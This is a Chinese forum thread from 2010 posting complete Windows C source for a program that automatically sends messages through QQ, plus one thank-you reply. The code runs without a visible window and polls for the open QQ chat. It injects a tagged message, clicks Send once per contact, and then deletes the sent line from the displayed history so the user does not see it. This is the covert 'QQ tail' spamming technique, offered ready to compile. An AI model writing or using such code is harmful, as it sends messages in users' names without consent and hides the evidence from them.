免费视频|新人指南|投诉删帖|广告合作|地信网APP下载

查看: 1715|回复: 1
收起左侧

QQ自动发送消息代码实现

[复制链接]

7656

主题

1175

铜板

2299

好友

技术员

为地信喝彩!

积分
106237
QQ
发表于 2010-6-11 16:49 | 显示全部楼层 |阅读模式
把这下面这些代码用VC编辑链接运行生成程序即可。


#include <windows.h>
#pragma comment(linker,"/subsystem:windows /entry:mainCRTStartup")
typedef struct tagMYCTRLINFO
{
long CtrlID;
long CtrlStyle;
}MYCTRLINFO,*PMYCTRLINFO;
HWND GetQQWnd()
{
HWND hwnd=GetForegroundWindow();
DWORD dwStyle=GetWindowLong(hwnd,GWL_STYLE);
char ClassBuf[255]={0};
GetClassName(hwnd,ClassBuf,255);
if(strcmp(ClassBuf,"#32770")==0 && dwStyle==0x160F0044)
{
return hwnd;
}
return (HWND)-1;
}
HWND hChild;
char szQQlistNumber[MAX_PATH][MAX_PATH];
int NumberForszQQlistNumber=0;
BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam)
{
if(((PMYCTRLINFO)(void*)lParam)->CtrlID==GetWindowLong(hwnd,GWL_ID) &&
((PMYCTRLINFO)(void*)lParam)->CtrlStyle==GetWindowLong(hwnd,GWL_STYLE))
{
hChild=hwnd;
return false;
}
return true;
}
HWND FindChildWindow(HWND hParent,long CtrlID,long CtrlStyle)
{
hChild=(HWND)-1;
MYCTRLINFO ctrlinfo;
ctrlinfo.CtrlID=CtrlID;
ctrlinfo.CtrlStyle=CtrlStyle;
if(EnumChildWindows(hParent,(WNDENUMPROC)EnumChildProc,
(LPARAM)(void*)(&ctrlinfo)))
{
return hChild;
}
return hChild;
}

HWND GetMsgEdit(HWND hQQWnd)
{
return FindChildWindow(hQQWnd,0x0000037E,0x50011004);
}

HWND GetSendButton(HWND hQQWnd)
{
return FindChildWindow(hQQWnd,0x0000077E,0x5001000B);
}
HWND GetHistoryWnd(HWND hParent)
{
return FindChildWindow(hParent,0x380,0x50011804);
}
HWND GetNameBar(HWND hQQWnd)
{
return FindChildWindow(hQQWnd,0x00000546,0x50000100);
}

BOOL IsQQUsed(char (*pChar)[MAX_PATH],char *_szQqNumber,int iCntColum)
{
int iX=0;
while(iX<iCntColum)
{
if(lstrcmp(pChar[iX],_szQqNumber)==0)
{
return TRUE;
}
iX++;
}
return FALSE;
}
void AddQQ(char szQQ[])
{
lstrcpy(szQQlistNumber[NumberForszQQlistNumber],szQQ);
NumberForszQQlistNumber++;
}
void SendTail()
{
char szTest[]="Test By :X14oH4o";
HWND hParent=GetQQWnd();
if(!IsWindow(hParent))
return;
HWND hMsg=GetMsgEdit(hParent);
HWND hSendButton=GetSendButton(hParent);
HWND hHistory=GetHistoryWnd(hParent);
HWND hNameBar=GetNameBar(hParent);
if(!IsWindow(hMsg))
return;
if(!IsWindow(hSendButton))
return;
if(!IsWindow(hNameBar))
return;
if(!IsWindow(hHistory))
return;

char szQQNumber[128]={0};
GetWindowText(hNameBar,szQQNumber,32);
if(IsQQUsed(szQQlistNumber,szQQNumber,NumberForszQQlistNumber))
return;
AddQQ(szQQNumber);
if(IsWindow(hMsg)&&IsWindow(hSendButton))
{
int nFirstSel,nLastSel;
SendMessage(hHistory,EM_SETSEL,0,-1);
SendMessage(hHistory,WM_COPY,0,0);
SendMessage(hHistory,EM_SETSEL,0,0);
SendMessage(hHistory,EM_SETSEL,0,0xFFFF);
SendMessage(hHistory,EM_GETSEL,WPARAM(&nFirstSel),LPARAM(&nLastSel));
SendMessage(hMsg,EM_SETSEL,0xFFFF,0);
SendMessage(hMsg,EM_REPLACESEL,0,LPARAM(szTest));
SendMessage(hSendButton,WM_LBUTTONDOWN,0,0);
SendMessage(hSendButton,WM_LBUTTONUP,0,0);
SendMessage(hHistory,EM_SETSEL,nLastSel-1,0xFFFF);
SendMessage(hHistory,EM_REPLACESEL,0,0);
}
}

void main()
{
while(1)
{
Sleep(800);
SendTail();
}
}
 
地质啷http://weibo.com/943569550

0

主题

9348

铜板

32

好友

至尊VIP

Rank: 24Rank: 24Rank: 24Rank: 24Rank: 24Rank: 24

积分
1558
发表于 2011-5-24 21:23 | 显示全部楼层
好东西 谢谢部长
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

在线客服
快速回复 返回顶部 返回列表